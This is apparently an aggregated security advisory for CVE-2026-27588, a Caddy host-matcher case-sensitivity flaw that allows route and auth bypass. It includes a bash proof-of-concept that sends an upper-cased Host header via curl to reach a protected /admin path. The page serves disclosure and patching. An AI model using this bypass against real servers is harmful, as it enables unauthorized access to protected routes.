🛡️ CVE-2026-27588 — caddy
Description
Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass
Summary
Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.
Details
In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:
modules/caddyhttp/matchers.go:type MatchHost matches requests by the Host value (case-insensitive).
However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):
MatchHost.large()returns true forlen(m) > 100(modules/caddyhttp/matchers.go, around thelarge()helper).- The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (
m[pos] == reqHost). - After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the
strings.EqualFold(reqHost, host)check from ever running.
Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.
Suggested fix
- Normalize exact hostnames to lower-case during
MatchHost.Provision(at least for non-fuzzy entries). - Normalize the incoming request host (
reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.
Reproduced on:
- Stable release:
v2.10.2-- this is the release I reference in the repro below. - Dev build:
v2.11.0-beta.2. - Master tip: commit
58968b3fd38cacbf4b5e07cc8c8be27696dce60f.
PoC
Prereqs:
- bash, curl
- A pre-built Caddy binary available at
/opt/caddy-2.10.2/caddy(editCADDY_BINin the script if needed)
<details>
<summary>Script (Click to expand)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"
TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"
cleanup() {
if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true
fi
rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT
if [ ! -x "${CADDY_BIN}" ]; then
echo "error: missing caddy binary at ${CADDY_BIN}" >&2
exit 2
fi
echo "== Caddy version =="
"${CADDY_BIN}" version
cat >"${CADDYFILE}" <<EOF
{
debug
}
:${PORT} {
log
@protected {
host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
path /admin
}
respond @protected "DENY" 403
respond "ALLOW" 200
}
EOF
echo
echo "== Caddyfile =="
cat "${CADDYFILE}"
echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"
sleep 2
echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin"
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true
echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true
echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true
echo
echo "== Full Caddy debug log =="
cat "${LOG}"
```
</details>
<details>
<summary>Expected output (Click to expand)</summary>
```bash
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=
== Caddyfile ==
{
debug
}
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2026-27588 is classified as CWE-178: Improper Handling of Case Sensitivity. The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
Affected software
CVE-2026-27588 is recorded against 2 packages.
- caddy (from 2.10.2 up to 2.11.1)
- github.com/caddyserver/caddy/v2
Timeline and source
Published on 24 February 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
References
CVE-2026-27588 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| caddy | 2.10.2 | 2.11.1 |
| github.com/caddyserver/caddy/v2 | — | — |
References
Similar Threats
- Unknown CGA-3x7g-jp4q-h9fr
- Unknown CGA-485h-x96h-hqh7
- Unknown CGA-2mv5-7p9w-vp27
- Unknown CGA-3w5r-2f79-3p9x
- Unknown CGA-33qc-7m28-fvwr
Exploit Protection
Are you running caddy?
CVE-2026-27588 carries CVSS 9.1 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-27588 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.